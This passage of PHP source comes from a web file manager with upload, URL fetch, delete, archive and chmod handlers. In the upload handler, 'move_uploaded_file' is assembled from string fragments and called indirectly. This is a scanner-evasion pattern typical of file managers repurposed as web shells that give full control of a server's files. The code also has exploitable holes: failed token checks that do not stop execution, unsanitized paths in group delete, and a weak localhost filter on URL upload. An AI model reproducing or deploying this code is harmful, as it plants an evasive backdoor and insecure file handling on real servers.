            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fanco($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fanco($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $from = FM_ROOT_PATH . '/' . $copy;

    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);

    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));

    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) {
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        } else { 
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ 
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }

            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);

                $from = $path . '/' . $f;

                $dest = $copy_to_path . '/' . $f;

                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) and $old != '' and $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' and is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) and !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' => 'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' => 'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }
        $isims = "move_u";
        $vin = "ploade";
        $ucd = "d_file";
        $fnder = $isims . $vin . $ucd;
        if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else if ($fnder($tmp_name, $fullPath)) {
                if ( file_exists($fullPath) ) {
                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array (
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}


if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' and is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {

                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) and fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

if (isset($_GET['upload']) and !FM_READONLY) {
    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION and $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_POST['copy']) and !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) and !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng('Settings') ?></span>
